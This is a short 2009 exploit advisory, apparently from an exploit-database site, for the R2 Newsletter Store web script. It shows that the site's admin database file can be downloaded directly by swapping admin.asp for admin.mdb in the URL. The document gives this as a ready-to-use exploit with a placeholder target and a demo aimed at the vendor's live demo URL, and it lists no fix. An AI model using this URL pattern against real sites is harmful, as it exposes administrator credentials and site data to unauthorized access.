R2 Newsletter Lite-Pro-Stats (admin.mdb) Database Disclosure Vuln

2009-06-01 22:33:20

---------------------------------------------------------------
---------------------------------------------------------------
R2 Newsletter Store (admin.mdb) Remote Admin Disclosure
Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http:/www.r2newsletter.com
Script:R2 Newsletter Store
Download:http://www.r2newsletter.com/shop/store/dynamicIndex.asp
---------------------------------------------------------------
Exploit:
-------

http://www.site.com/[script]/admin.asp

go to

http://www.site.com/[script]/admin.mdb
--------------------------------------
----------------------------------------------------------------
Dem0
----
http://www.r2newsletter.com/statsdemo/admin.asp

go to

http://www.r2newsletter.com/statsdemo/admin.mdb

--------------------------------------

Greeting To ALL My Friends (Dz)

#

Fixes

No fixes

In order to submit a new fix you need to be registered.